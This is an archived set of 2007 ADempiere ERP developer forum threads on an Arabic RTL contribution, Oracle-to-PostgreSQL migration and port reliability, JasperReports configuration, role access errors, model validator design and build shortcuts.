If you are one of those developers trying to tackle postgresql vs. Oracle bugs - it might be usefull to make yourself familiar with these classes:

http://www.hibernate.org/hib_docs/v3/api/org/hibernate/dialect/Dialect.html

http://www.hibernate.org/hib_docs/v3/api/org/hibernate/dialect/PostgreSQLDialect.html

http://www.hibernate.org/hib_docs/v3/api/org/hibernate/dialect/Oracle9Dialect.html

http://www.hibernate.org/hib_docs/v3/api/org/hibernate/transaction/package-summary.html

Since hibernate people has same problems to tackle than we do...

-kontro-

2007-04-13 14:20:14 UTC

Hi Adempierans,

I have 2 questions :

I have just finished arabic language pack of Adempiere wich will speak arabic next week. This work will be offered to all community.

My first question is : 1- Where can i post this language pack?

Second question 2- The arabic language is an RTL language, it's written from Right to Left. The problem is that in some forms the RTL presentation is not supported, i.e : All the components : labels, textfields, still appear LTR beacause in this forms there is no implementation for RTL languages (Hard-coded LTR). The Model screens works fine. To mitigate these problems, I have modified the code in some classes.

My question : How can i access the CVS repository to post my changes.

P.S : I think that providing the necessary jars (with the same classes) will avoid us to modify the original source code. By this way, we just have to include this jars in classpath (in the first order of corse).

Best Regards,
Najeh KHALED

2007-04-13 16:35:35 UTC

Congratiation najeh .. i'm interested to see your nice effort appeared to arabic community

2007-04-13 16:40:24 UTC

Hi,

>My first question is : 1- Where can i post this language pack?

Please create a contribution in Contributions section:

https://sourceforge.net/tracker/?group_id=176962&atid=883808

>Second question 2- The arabic language is an RTL language, it's written from Right to Left. The problem is that in >some forms the RTL presentation is not supported, i.e : All the components : labels, textfields, still appear >LTR beacause in this forms there is

no implementation for RTL languages (Hard-coded LTR). The Model screens works
>fine. To mitigate these problems, I have modified the code in some classes.
>My question : How can i access the CVS repository to post my changes.

Two options:

- 1) If you would like to contribute more fixes we can give you access to SVN Server.
- 2) Create new patch in patch section.

Kind regards,
Trifon

2007-04-13 23:10:02 UTC

Hi Trifon,
Thank you very much for the details.
I'm interested to contribute more fixes. Many changes are envisaged in some classes.

Best Regards,
Najeh

2007-04-20 08:31:22 UTC

Dear Adempiere Developers and CC members,

i would like to ask you to vote to include
Najeh KHALED (najeh) as a develop in Adempiere project.

Mz vote is:
[+1] add Najeh KHALED (najeh) as developer.

I would like to ask you to vote to include modification he made for Arabic language in
the SVN trunk. I believe that this modification is very important and would be helpful to
many people.

my vote is:
[+1] include changes in trunk.

Kind regards,
Trifon

2007-04-20 09:02:39 UTC

[+1] welcome Najeh

colin

2007-04-20 09:49:01 UTC

[+1] to add him as developer and
[+1] for the arabic language modifications (right to left issues)

Welcome Najeh!

Regards,
Karsten

2007-04-20 17:18:29 UTC

[+1] for the arabic language modifications (right to left issues)

About developer, do you mean as committer? With direct access to SVN repository?
I'm not voting this time because I haven't take a look to the code from Najeh, but I agree with majority votes.

I'll exploit this thread to point a new issue.

Currently we have very few developers committing, and when they commit I hope CC is making a post-reviewing of the commit (at least I think Heng Sin and me are doing because we put comments on trackers when we see strange things).

My worry is (I think I commented this in a CC meeting) if we start having lots of developers, is very possible that CC can't review all the commits, nobody is guaranteeing that some eyes can look for commits.

It's ok at this moment, not much developers, but we can be careful of growing too much because it can have impact on quality because there is no guarantee of CC reviewing.

Option -> if developers community grows over some limit (not sure what is the limit), we need to ENSURE reviewing of commits from CC, but this is difficult, then a pre-review is needed, but with CC members involved in projects and just working on free-time we'll be a funnel for contributions slowing the pace of the project.

Finally -> Welcome Najeh! Community rules :-)

Regards,

Carlos Ruiz

2007-04-21 20:45:10 UTC

Dear Adempiere Developers and CC members,

First of all, it is an honor to be one among you, this is because we believe in OS world, and Adempiere is one from these successfull projects.

i'll participate in this vote also :)))

[+1] for the arabic language modifications (right to left issues)

[+1] include changes in trunk : I'll try to be one committer and one from active developpers, if this not now, it will be one day and as soon as possible.
I share the point of view of Carlos Ruiz : We must pay attention about growing too much the number of developpers because the quality must be more controlled to guarantee a high code quality.

One again, thank you Adempierans, developers and CC members.

Best regards,
Najeh KHALED

2007-04-24 20:29:52 UTC

Hi Najeh,

i would like to inform you that you are added as a developer.

Please commit your changes.
Please create feature request(Contribution) describing your modification and in commit message place a line with link to your feature request(Contribution).

Kind regards,
Trio fn

2007-04-25 12:35:34 UTC

[+1] to add him as developer and
[+1] for the arabic language pack

welcome Najeh
(اب حرم)

Walid

2007-04-29 09:58:49 UTC

[+1] to add him as developer and
[+1] for the arabic language modifications (right to left issues)

Welcome Najeh!
نيتب حرم

Reda Al-Sultan

2007-04-17 13:56:35 UTC

Hengsin, and Adempiere friends,

I'm using DDLUtils to convert my Oracle db to PostgreSQL. I wrote my own script according to wiki, as below. However it doesn't create Foreign Key in the produced schema file. Could you tell me what I went wrong ?

```
@Title DDLUtils Script Oracle to PostgreSQL
```

```
@Rem Goodwill Consulting
```

```
@CALL %ADEMPIERE_SOURCE%\utils_dev\myDevEnv.bat
```

```
@IF NOT %ADEMPIERE_ENV%==Y GOTO NOBUILD
```

```
@echo Exporting ...
```

```
@cd %ADEMPIERE_SOURCE%\db\ddlutils\oracle
```

```
@Rem @"%JAVA_HOME%\bin\java" -Dant.home="." %ANT_PROPERTIES%  
org.apache.tools.ant.Main -f build-ddl.xml writeSchemaToFile
```

```
@Rem @"%JAVA_HOME%\bin\java" -Dant.home="." %ANT_PROPERTIES%  
org.apache.tools.ant.Main -f build-ddl.xml splitSchemaFileByTable
```

```
@Rem @"%JAVA_HOME%\bin\java" -Dant.home="." %ANT_PROPERTIES%  
org.apache.tools.ant.Main -f build-ddl.xml writeDataToFile
```

```
@Rem @"%JAVA_HOME%\bin\java" -Dant.home="." %ANT_PROPERTIES%  
org.apache.tools.ant.Main -f build-ddl.xml splitDataFileByTable
```

```
@echo Importing...
```

```
@cd %ADEMPIERE_SOURCE%\db\ddlutils\postgresql
```

```
@@"%JAVA_HOME%\bin\java" -Dant.home="." %ANT_PROPERTIES%  
org.apache.tools.ant.Main create
```

```
@Echo Done ...
```

```
@cd ..
```

```
@goto OK
```

```
:NOBUILD
```

```
@Echo Check myDevEnv.bat (copy from myDevEnvTemplate.bat)
```

```
:OK
```

```
@pause
```

Regards,

Armen

2007-04-17 16:04:30 UTC

Hi Armen

this question rings a bell for me I remember something about this before ...

does this help any?

https://sourceforge.net/tracker/?func=detail&atid=879332&aid=1685581&group_id=176962

colin

2007-04-17 16:38:42 UTC

that looks perfectly ok

Is there a file with the name 'adempiere-fk.sql' being created ? Maybe there are errors running some sql script (check psql.log) ?

Regards,
Low

2007-04-18 04:14:26 UTC

We are very close to production at this moment. To my surprise, the database seed (adempiere.dmp) we used does not have any Foreign Key!! And we just found the fact after some customizations. We're using version 3.1.5. Could you please confirm this, at least somebody should check the latest database seed dump ?

Thank you,

Armen

2007-04-18 04:47:29 UTC

Hi Armen,

>To my surprise, the database seed (adempiere.dmp) we used does not have any Foreign Key!! And we just found the fact >after some customizations. We're using version 3.1.5.

Which tool did you used to check foreign key constraints?

Kind regards,
Trifon

2007-04-18 08:44:00 UTC

I'm using Toad, in schema browser I can't see Integrity-type constraint either in Constraint tab or Script tab.

Regards,

Armen

2007-04-21 11:28:48 UTC

Hello everyone, so what does this mean?

PostgreSQL port is not as reliable as Oracle XE? Or just that the ****migration**** of an Adempiere DB from Oracle to PostgreSQL has issues with Keys? Can we confirm that ****starting**** an implementation from scratch on Adempiere on PostgreSQL is as reliable with Keys as with Oracle?

Thanks!

Carlos Lameiro

2007-04-21 14:43:58 UTC

Hi Carlos!

It means that the migration between an Oracle database to a postgresql have not been tested at all.

The migration scripts also Oracle based, so they need to be modified if you want to migrate a postgresql database to a newer adempiere version.

Best Regards!

2007-04-21 16:57:14 UTC

Hi Carlos,

> PostgreSQL port is not as reliable as Oracle XE?

Let me explain you:

- Compiere was constructed specifically to run on Oracle
- JJ approach for db independence is through a convert SQL layer
- I consider myself (personal opinion) this is a wrong approach, but we inherited that, so it's our first step to support postgres, but there are initiatives to change this model for a real db independence model
- Victor put the seed on the postgres port on 2003 (<http://sourceforge.net/projects/cmpcs>)
- Heng Sin took the seed (a good seed but very unstable) - and stabilized a lot for Adempiere project

Because of the inherited wrong approach I consider postgres port still in beta status. We're trying hard to stabilize it, and I think we're really close to stabilize postgres port in core code.

But again, we can't guarantee that convert routine will work for every extension out there. There will be extensions (possibly lots of them) developed for oracle (i.e. using ROWNUM) that will need some translation before connecting to Adempiere. For new extensions I would recommend to follow strict SQL rules, not using oracle-specific-extensions (like rownum or pl/sql).

- > Or just that the ****migration**** of an Adempiere DB
- > from Oracle to PostgreSQL has issues with Keys?

There are also issues about the management on foreign keys, Heng Sin found that they can be supported easily on postgres, but possibly other databases don't support the delete rules that oracle and postgres support (cascade delete, on delete set null). Maybe it will be good to pass the foreign key delete rules to code instead of relying on database for that.

- > Can we confirm that ****starting**** an implementation
- > from scratch on Adempiere on PostgreSQL is as
- > reliable with Keys as with Oracle?

No, it's not as reliable, adempiere on oracle is not a port and because of that is (and possibly will be until we change the convert approach) more reliable than every other database port that we implement via convert routines.

It's an each-project decision to install postgres in production (but I always try to warn my customers and people about that)

To prove this point? Just yesterday sernaton found a big bug on postgres port: http://sourceforge.net/tracker/index.php?func=detail&aid=1704261&group_id=176962&atid=879332 solved immediately on trunk, but we can expect more of these bugs to appear while digging deeper on functionality.

NOTE: This bug is present on actual Compiere EDB port too, in fact they're far away from the stabilization level that we've achieved, I don't understand why they don't just take our code (is GPL) and keep repeating all our testings :-)

So, my advice for critical production sites is to install on Oracle - you don't want to pay licensing? then go to Oracle-XE if your DB is < 4GB.

Again, if a specific project still prefer to install on postgres, I always make it clear the risk, and trace the path to follow when discovering these possible bugs (and make them notice that immediate solution on a production environment can be costly, instead of waiting for community support).

Regards,

Carlos Ruiz

2007-04-22 07:35:55 UTC

Hi Carlos Ruiz,

>Maybe it will be good to pass the foreign key delete rules
> to code instead of relying on database for that.

Compiere started this, and they are trying to move constraints and indexes to application dictionary (AD_IndexColumn table, AD_TableIndex table, AD_Column.ConstraintType column). This is a step that we should consider.

I think that describing constraints and indexes in application dictionary will be good because we will have more info about our data (btw, i hate the situation when i save something from adempiere and i get some unique constraint error, or when i delete something and i get integrity constraint - what does the user understand when he gets these kind of errors?).

On the other side, letting the database to do its job is more faster.

So i think a smart combination of this of these approaches will be adequate:

- use the database features when possible (oracle, pg)
- use our version when the database doesn't support these features

In both cases, describing these elements using application dictionary will be good for user error messages (and later maybe advices), some validations and other automatic data manipulation.

What you think ?

Best regards,
Teo Sarca

2007-04-22 07:46:07 UTC

Hi Teo, completely agree with your proposals and comments.

Regards,

Carlos Ruiz

2007-04-22 08:36:28 UTC

Hi Teo,

i'm 100% with you.

Both options are the best approach as we will have DB speed when we use native DB constraint and indexes.

Kind regards,
Trifon

2007-04-24 04:07:43 UTC

Hi Lameiro,

Let me confirm this. The problem I have turned out not from DDLUtils but the seed database (oracle dump) did not have Foreign Keys at all.

Carlos (another one, the council team :-)) is right. You should consider the state of Postgresql port as 'beta'. Unless you are very familiar with ADempiere, you should use Oracle 10g (and not XE!) for stable production.

There are problems we have in PostgreSQL port (using 3.1.5)

- a. it can not convert query if the query has divide symbol ("/"), Example : "Update C_OrderLine set LineNetAmt = PriceList / QtyEntered where C_OrderLine_ID = 1", this query will be error.
- b. there are some problem if our oracle query have "RowNum". The first is we can not make the query with "RowNum = 1" but must be "RowNum=1" because the "RowNum = 1" will be ""limit" = 1", and the second is we can not use RowNum in subquery because the "LIMIT" will be added into last of our query, for example : "Update C_Order o set o.C_Bpartner_ID = (Select m.C_Bpartner_ID from M_InOut m where m.C_Order_ID = o.C_Order_ID and RowNum=1)" will be "Update C_Order o set o.C_Bpartner_ID = (Select m.C_Bpartner_ID from M_InOut m where m.C_Order_ID = o.C_Order_ID) LIMIT 1"

It probably fixed by now. I have not time to test with the current one. This is our first client that agreed to use PostgreSQL. I will report if I found more bugs.

Best regards,

Armen

<http://www.goodwill.co.id>

2007-04-24 06:18:28 UTC

Hi Armen,

Problem a. is solved in trunk. For problem b., the rownum support have been remove from trunk as you have found out it is buggy and only support some scenario. Most of the time, it should be possible to come out with alternative sql statement that doesn't make use of rownum. Otherwise, encapsulate that in store procedure so that you can make full use of native sql features.

Regards,
Low

2007-04-24 19:09:10 UTC

- > Unless you are very familiar with ADempiere, you should
- > use Oracle 10g (and not XE!) for stable production.

Armen, I'm wondering why the "not XE!" ?

I have a customer with some modules in production since past december with Oracle-XE, no problem until now with XE port.

Regards,

Carlos Ruiz

2007-04-29 12:10:32 UTC

Hi Carlos,

I'm sorry the words in paranthesis may have led to confusion. I think the XE port is quite stable but I'm afraid that XE's plsql is not reflecting the latest enhancement/development in SQLJ part. I'm not XE maintainer so I'm much possibly wrong.

Regards,

Armen

2007-05-01 03:49:34 UTC

Hi Armen,

- > I'm sorry the words in paranthesis may have led to confusion. I think
- > the XE port is quite stable but I'm afraid that XE's plsql is not reflecting
- > the latest enhancement/development in SQLJ part. I'm not XE maintainer so
- > I'm much possibly wrong.

I think this was an issue initially, but nobody has reported more problems on this port. The problems detected and reported with Oracle-XE were solved.

Regards,

Carlos Ruiz

2007-05-01 04:09:08 UTC

Hi Low,

I think you can't remove "ronum" support yet. A quick search through source codes shows many places where "rownum" is being used (e.g. Doc_Invoice, Doc_Order, ImportBPartner, etc). Are they taken care of ?

Thank Low for your priceless contribution.

Armen

2007-05-01 04:38:50 UTC

> I think you can't remove "ronum" support yet. A quick search through
> source codes shows many places where "rownum" is being used (e.g.
> Doc_Invoice, Doc_Order, ImportBPartner, etc). Are they taken care of ?

Armen, all references to ROWNUM in current code are commented or oracle-specific code.

Regards,

Carlos Ruiz

2007-05-01 08:45:40 UTC

how to configure adempiere,
if i have multicurrency business partners (SGD, YEN, HKD...etc)
yes, i need reports on their currency
and i need reports that automatically converted
to my currency (USD) too...
when the currency table for converting is change everyday...

2007-05-01 08:59:08 UTC

Hi Sinsin,

You have to either purchase the latest Compiere User Manual at <http://www.compiere.org> or refer to our wiki manuals at <http://www.adempiere.com/wiki/index.php/Manuals> to get into the details of it.

Offhand u have to setup both conversion sides of each currency, such as from SGD to Yen, and Yen to SGD.

TO automatically convert spot market exchange rates i think will need to create some import loader, and that u have to pay someone to do it here. If u want i think its about Euro40 per hour by Trifon and this looks like it can take 4 days to do. And it has to be GPL and put back into our source.

In future, pose your questions in Help forum or under the ERP Functional forums. Thank you for your cooperation.

red1

2007-05-01 10:20:00 UTC

thank you red1... for answering multicurrency business partner,
i am posting this on ERP-Fuctional Forum too..

how adempiere automatically calculate the right "product cost" from
a bill of materials that consist of some multicurrency products?
and currency rates is dynamically changes...

2007-05-01 10:33:58 UTC

>> i am posting this on ERP-Fuctional Forum too..
posting the same question in two places is not looked upon as good practise.
What can happens is perhaps later someone is looking for similiar info ... and find one
posting with no info/response and not the other which perhaps did have a response!
To avoid this it is a generally accepted practise in all projects and not to double post the
same question!

colin

2007-05-02 02:03:37 UTC

ok...
i'm sorry...

2007-05-04 11:11:37 UTC

Hi

I installed Adempiere 320 and I tray to test jasperReports.
I used standalone.jrxml exemple but I got this error :

```
JRException; e.getMessage()= Error compiling report java source files :  
C:\Adempiere\lib\standalone_1178276744531_63413.java
```

Thank you for help

2007-05-04 11:36:04 UTC

Hi freebyte,

Please, can you copy some lines more from your log?

regards,

Alejandro

2007-05-04 13:19:02 UTC

this is the log :

```
14:58:37.406 ProcessCtl.run: AD_PInstance_ID=1000032, Record_ID=0 [16]
14:58:37.406 Waiting.init: Processing ... Please wait ... - Sec=5 [16]
14:58:37.421 ProcessCtl.run: lock [11]
14:58:37.421 DB.getConnectionRO: #0 - oracle.jdbc.driver.T4CConnection@76fba0
[16]
14:58:37.437 ProcessCtl.startProcess:
ProcessInfo[omega,Process_ID=1000000,AD_PInstance_ID=1000032,ClassName=org.c
ompiere.report.ReportStarter,Error=false,Summary=,Log=0] [16]
14:58:37.437 ReportStarter.startProcess: Name=omega AD_PInstance_ID=1000032
Record_ID=0 [16]
14:58:37.437 ReportStarter.getReportData: [16]
14:58:37.437 DB.getConnectionRO: #0 - oracle.jdbc.driver.T4CConnection@76fba0
[16]
14:58:37.437 ReportStarter.addProcessParameters: [16]
14:58:37.437 DB.getConnectionRO: #0 - oracle.jdbc.driver.T4CConnection@76fba0
[16]
14:58:37.437 ReportStarter.processReport: reportFile.getAbsolutePath() =
C:\Adempiere\lib\null\reports\standalone.jrxml [16]
14:58:37.437 ReportStarter.JWScorrectClassPath: Classpath has been corrected to
customization.jar;patches.jar;Adempiere.jar;AdempiereCLib.jar;CompiereJasperReqs.jar;
/C:/Adempiere/lib/CompiereJasperReqs.jar;/C:/Adempiere/lib/CompiereJasperReqs.jar
[16]
14:58:37.515 MIssue.create: JRException; e.getMessage()= Error compiling report java
source files : C:\Adempiere\lib\standalone_1178283517515_933602.java [16]
14:58:37.515 MIssue.load: ID=0 [16]
=====> ReportStarter.compileReport: JRException; e.getMessage()= Error
compiling report java source files :
C:\Adempiere\lib\standalone_1178283517515_933602.java [16]
```

Thank you for help Alejandro

2007-05-04 13:45:07 UTC

Hi freebyte,

please could you describe what you did in order to get the standalone sample report running?

So, what were your preparations, from where do you start the report and so on.

Best regards Johannes

2007-05-04 13:57:49 UTC

What Java version are u using?

2007-05-04 14:02:48 UTC

I created a new process with :
classname : org.compiere.report.ReportStarter
jasper report : standalone.jrxml

after that i downloaded the file standalone.jrxml (as an example) from SVN and when running the process in the first time I got the error : standalone.jrxml not found

so I put it under C:\Adempiere\lib\null\reports\ after this It can found it but got the error :

```
=====> ReportStarter.compileReport: JRException; e.getMessage()= Error  
compiling report java source files :  
C:\Adempiere\lib\standalone_1178283517515_933602.java
```

2007-05-04 14:03:56 UTC

I use JAVA 1.5

2007-05-04 15:22:29 UTC

Hey freebyte,

there are multiple ways how you define the location where your jasper reports are located:

1.
You define the absolute path name of your jasper report file in your jasper report process which you already created ;) Example: /home/user/adempiere/reports/standalone.jrxml or under windows C:/reports/standalone.jrxml
2.
You deploy the jasper report to a regular webserver or by using the webApp web module (though the latter one requires some effort to get it working), then you have to specify the url to your jasper process.
Example: <http://yourwebserver/reports/standalone.jrxml>

3.

You edit RUN_Adempiere.sh/bat and search for the PROPS variable.

Set the PROPS variable to a value like:

-Dorg.compiere.report.path=C:/reports/

and specify the report file "standalone.jrxml" in your jasper process.

This requires that the report is located below C:\reports

Java 5 and Java 6 work flawlessly with ADempiere jasper reports.

My last question is: Did you updated from one adempiere version to another or is it a

Version 3.2.0

initial setup?

Hope this will help you get it working!

Best regards Johannes

2007-05-04 15:53:38 UTC

Thank you

I used the third solution to define the location and it works.

2007-05-04 15:56:33 UTC

Hello.

Are you able to open Application Dictionary > Info Window

when you login as GardenAdmin?

Though I installed Adempiere version 3.2.0 I get following error.

//// window error message //////////////////////////////////////

With your current role and settings, you cannot view this information

You don't have the privileges (your Role does not allow to access the information) - or -
set profile (e.g. if you want to see accounting records, Show Accounting must be set) (No
Window Model Info)

//// console message //////////////////////////////////////

-----> MRole.saveWarning: AccessTableNoView - Required=4(System Data) != U
serLevel= CO [12]

=====> GridWindowVO.createTabs: No Tabs - AD_Window_ID=385 -

SELECT * FROM

AD_Tab_v WHERE AD_Window_ID=? ORDER BY SeqNo [12]

////////////////////////////////////

The cause seems "ACCESSLEVEL" column in AD_TABLE.
Currently, ACCESSLEVEL is "4".
I update ACCESSLEVEL to 2, and I can display Info Window.

```
UPDATE AD_TABLE SET ACCESSLEVEL = 2 WHERE AD_Window_ID=385
```

By the way, for what is Info Window there?
Should it not allow it to display in the menu?

These will help to confirm.

```
SELECT * FROM AD_Tab_v WHERE AD_Window_ID=385  
SELECT * FROM AD_TABLE WHERE AD_Window_ID=385
```

```
dbPort\src\org\compiere\model\GridWindowVO.java  
line 198
```

```
dbPort\src\org\compiere\model\GridTabVO.java  
line 140  
vo.AccessLevel = rs.getString("AccessLevel");
```

```
dbPort\src\org\compiere\model\MRole.java  
line 1968
```

Regards.

2007-05-04 15:55:10 UTC

Hello.

I was not able to open several windows
such as Performance Analysis > Accounting Rules > Account Element.

As a result of the source code review,
I find out that it is caused by the change of Adempiere.properties.
If you edit "ShowAcct" in Adempiere.properties ,
you will get following error message when you try to open Account Element Window.

```
/// window error message //////////////////////////////////////  
With your current role and settings, you cannot view this information
```

You don't have the privileges (your Role does not allow to access the information) - or -
set profile (e.g. if you want to see accounting records, Show Accounting must be set) (No
Window Model Info)

```
/// console message //////////////////////////////////////  
=====> GridWindowVO.createTabs: No Tabs - AD_Window_ID=118 -
```

```
SELECT * FROM
AD_Tab_v WHERE AD_Window_ID=? ORDER BY SeqNo [12]
////////////////////////////////////
```

Do you know the situation "ShowAcct" are changed.
I have not edited it manually.
Regard.

2007-05-04 17:27:55 UTC

Hi Kubotti.

This is not an error, it is a functionality to hide accounting from users.

Tools -> Preference -> Show Accounting Tabs

User can't edit this field if the role is not marked as "Show Accounting"

Regards,

Carlos Ruiz

2007-02-13 09:54:08 UTC

Does any of you know how to fix bug in Laded Costs, allocation by quantity?

Example is: we purchase 2 x 50\$ + landed costs 10\$.

Now we sell it one 1 x 50\$, but Adempiere adds 10\$ costs. Next time we sell another 1 x 50\$ he adds 10\$ again!!

Did any of you encounter this problem? How do you fix it in code, where and how?

Regards, Fuad

2007-02-13 12:08:56 UTC

Hi Fuad,

I believe the issue is the same that this Open bug from Compiere. Please see you:

http://sourceforge.net/tracker/index.php?func=detail&aid=1435741&group_id=29057&atid=410215

I think, we inherit this bug from Compiere.

>Did any of you encounter this problem? Yes i saw this issue in a spanish forum too.

Regards,

Alejandro

2007-02-14 22:00:16 UTC

Alejandro is right, you can open a bug here in order to keep track if some developer can take a look on this.

Regards,

Carlos Ruiz - globalqss

<http://globalqss.com>

2007-05-04 18:42:05 UTC

Hello:
does this bug still exist in 3.2?
Regards
Susanne

2007-05-05 00:13:57 UTC

Hi all,

The project road map discussion have been started here -
http://sourceforge.net/forum/forum.php?thread_id=1726962&forum_id=611167

Cross post here in case some doesn't monitor the community process forum.

Regards,
Low

2007-05-05 01:11:05 UTC

Hi,

I have created a new table and a window based on it and have generated the model. All is ok. My question that i want to make a document action in my window, So i added the docaction and docstatus fields and mapped to the process and workflow but i don't know what name to gime to the new class that implements docaction;
Example : in the case of C_Order table the generated class is x_c_order and the model class is MOrder. In my case the name of the table is for instance : mytable the generated class is x_mytable what would be the name to give to the model class so as to implement document action ??

2007-05-05 06:44:13 UTC

Hi,

the name of the model class would be Mmytable. In general you would use a prefix for your tables too (XY_MyTable). Please

see http://www.adempiere.com/wiki/index.php/NewWindow#Extending_the_model

Regards,
Karsten

2007-05-07 03:50:52 UTC

Hi,

Our server Logs all the error messages to the log file. But if place a log.fine() message in a Doc_xx.java, how to get that message in the server log file? ie., where do we set the server log level ?

Regards,

Sam24368

2007-05-07 07:25:15 UTC

Hi,

See <http://<your-adempiere-server-address>/admin/adempiereMonitor> page

Best regards,
Teo Sarca

2007-05-07 08:32:29 UTC

Thanks Teo..

Regards

Sam24368

2007-05-07 08:32:29 UTC

Hi all

when i generate PO from requisition it does not take the pricelist which i have specified

but looks for standard one, also the warehouse we selected in requisition is not there but in PO it selects the one in which we login.

2007-04-05 01:56:15 UTC

Hi community,

There is a proposal not specified yet, discussed in CC meeting 2007-01-30
http://adempiere.com/wiki/index.php/CC_Meeting_Exec_20070130

It's about the implementation of model validator classes for packages.

I want to hear your opinions about:

1 -

The proposal would be to add columns ModelValidatorClass and priority in the table AD_Package_Imp_Inst
the change is not so difficult, probably we just need to change the constructor ModelValidationEngine() in order to add package validators and start them

2 -

But I'm wondering if this is really needed, given that we can register several model validators for a client (separated by semicolon)
So, if you need to install a new model validator (i.e. for libero) you can add the specific LiberoValidator to the client using manufacturing module

What do you think?

Regards,

Carlos Ruiz

2007-04-05 09:56:27 UTC

hi Carlos,

>1 -

>The proposal would be to add columns ModelValidatorClass and Priority in the table
>AD_Package_Imp_Inst
>the change is not so difficult, probably we just need to change the constructor
>ModelValidationEngine() in order to add package validators and start them

>

>2 -

>But I'm wondering if this is really needed, given that we can register several model
>validators for a client (separated by semicolon)
>So, if you need to install a new model validator (i.e. for libero) you can add the specific
>LiberoValidator to the client using manufacturing module

>

>What do you think?

I Do not like option 2.

Because:

- 1) Keeping important information in one textual column is not the best approach. It require parsing of column and modification/addition/deletion) is hard(error prone) to implement.
- 2) Addition/removal of model validators can't be automated.
- 3) We can't add additional(meta information) information for model validators.

My proposal is new table, each column in this table will represent one validator.

Kind regards,
Trifon

2007-05-07 09:47:49 UTC

Agree with Trifon here. We can add a new table AD_ModelValidator for this.

There are quite a few benefits with this approach compare with the current one:

- * More user friendly GUI to enter model validator class.
- * Can have description for each model validator.
- * Can enable/disable each model validator easily using the isActive flag.
- * Simplify the ModelValidationEngine initialization code.

Regards,
Low

2007-05-07 10:48:57 UTC

Hi!

We uploaded

contribution: http://sourceforge.net/tracker/index.php?func=detail&aid=1714183&group_id=176962&atid=883808

I think it will be very useful

Sergey Vishniakov

ADempiere.LV Team

2007-05-08 05:12:21 UTC

Hi,

we are trying to make a custom Doc_XXX.java. Every time there is a mistake in it, we modify it and then rebuild the whole Project. Then we do Run_Setup. This takes time.

Is there any way we can just change the Doc_XXX.java, build the Server Folder alone and then add / replace (the jar) it to the previously-built-but-unmodified pack ?

ie., we want to avoid building the whole project and running setup every time we make a modification to the Doc_XXX. We would prefer only to replace the jar (or some thing like that) if possible.

Regards

Sam24368

2007-05-08 05:24:30 UTC

Hi,

Yes, it is possible, run the 'update-serverRoot' ant target. This will generate a new copy of the 'adempiereRoot.jar'.

Regards,
Low

2007-05-08 06:28:33 UTC

Also you can make the trick generating customization.jar from
org/compiere/acct/Doc_XXX.class

I made this with the following commands:

```
cd c:\srcAdempiere\trunk\bin -- this is the folder where eclipse compiles
jar cvf customization.jar org/compiere/acct/Doc_XXX.class
```

then I stop the jboss server, copy the customization.jar, run_setup and start

THIS IS FOR TESTING PURPOSES, NOT RECOMMENDED FOR PRODUCTION SITES.

Regards,

Carlos Ruiz

2007-05-08 06:29:21 UTC

Hi Low,

Thanks.

We ran AntBuild on the build.xml under serverRoot Folder in Eclipse. It gives the message 'class Mxxx (related to Doc_XXX) under 'can not find symbol'.

Perhaps we have not understood your point correctly. If you elaborate it a bit, will be helpful.

Regards

Sam24368

2007-05-08 06:34:02 UTC

no, run the 'update-serverRoot' target of the build.xml file inside the utils_dev folder.

Regards,
Low

2007-05-08 07:17:44 UTC

Hi Low,

Tried.. How do we do that exactly from within eclipse..

We don't find The build.xml in utils_dev has a target ' update-serverRoot'. it has 'RunUpdateWin' etc

This is the first time we are trying to explore with build files. so pls be patient with us.

Regards,

Sam24368

2007-05-08 07:43:56 UTC

mine have, trunk have,

http://adempiere.svn.sourceforge.net/viewvc/adempiere/trunk/utils_dev/build.xml?revision=1906&view=markup
Line 67.

Maybe you are using an older revision ?

Regards,
Low

2007-05-08 08:52:40 UTC

Hi Low,

Got the new one.. But still from eclipse we get the message 'class Mxxx (related to Doc_XXX) under 'can not find symbol'.

Guess, it's time for us to read & learn a bit about ant & build files and then try this again.

Thanks for the msg carlos.

It's not the code, but it's the support of you guys that makes sticking to Adempiere worthwhile.

Regards

Sam24368

2007-05-08 11:16:04 UTC

What if we split entity persistence in static interfaces and dynamic classes.

We define interface name and class name for each table mentioned in AD_TABLE.

Interfaces implement all mandatory fields and are static. And classes are dynamically generated but class with certain name always implements same interface.

Then we can have flexible JPA implementation.

Example with C_Country:

Column name | isMandatory

Client | Y

Language | N

Organization | Y

We write interface IC_Country and dynamically generate class C_Country which implements IC_Country.

So in code we could use mandatory methods like this way:

```
IC_Country c = (IC_Country) new C_Country()
```

```
c.client = a_client_variable;
```

But because we would have unspecified set of unmandatory fields those would have to be used like this:

```
if (c.hasField("Language")) c.setValue("Language", "English");
```

If we are sure that Language field exists we could make JPA query like this:

```
SELECT o FROM C_Country as o WHERE o.Language = "Englist";
```

In long run we would need AD_Interfaces table so that different modules can set constraints which fields are mandatory to them. But that is another topic.

-kontro-

2007-05-08 15:45:51 UTC

Hi all,

Currently, we have many classes belonging to the same package in the dbPort and base Project. The situation for the model class is especially confusing where some are in the dbPort project and some are in the base project. The criteria of where to place the model class seem arbitrary or mostly dependency driven. I would like to propose here to move all the classes in the dbPort project into the base project and remove the dbPort project from trunk. This will simplify the build process and place all model class into one project for easier maintenance.

Thoughts ?

Regards,
Low

2007-05-08 15:53:45 UTC

Hi Heng Sin,

>I would like to propose here to move all the classes in the dbPort project into the base project and remove the dbPort >project from trunk. This will simplify the build process and place all model class into one project for easier >maintenance.

>

>Thoughts ?

I do not mind. It will simplify development process and decrease confusion.

[+1] remove dbPort.

Kind regards,
Trifon

2007-05-08 16:08:45 UTC

In my development environment I use a single project to avoid those 'class searching' problems...

+1 from me too

Regards,
Karsten

2007-05-08 19:28:50 UTC

> to move all the classes in the dbPort project into the base project

+1

> In my development environment I use a single project to avoid those
> 'class searching' problems...

Me too Karsten, and yesterday I was in a complete mess trying to solve dependency problems between serverRoot and base.

Thanks that Heng Sin have configured eclipse with several dependent project and came to give me his powerful hand.

I'm thinking I'm going to move to several projects in eclipse approach.

Regards,

Carlos Ruiz

2007-05-08 19:36:42 UTC

Hi all,

There is a mistake in my original proposal, to move all classes from dbPort to base, we would have to move all classes from the print project into base as well because of dependency issue.

Regards,
Low

2007-05-08 20:10:46 UTC

Hi Carlos,

> I'm thinking I'm going to move to several projects in eclipse approach.

I'm not sure if you really want to do this, but in case you are determined to do it i will be glad to show you my environment :)

Kind regards,
Trifon

2007-05-08 20:12:42 UTC

Hi Heng Sin,

>There is a mistake in my original proposal, to move all classes from dbPort
>to base, we would have to move all classes from the print project into base
>as well because of dependency issue.

My reccomendation is MOVE THEM ALL.

Let's make thing simple when we can.

Kind regards,
Trifon

2007-05-08 20:20:43 UTC

> I'm not sure if you really want to do this, but in case you are determined
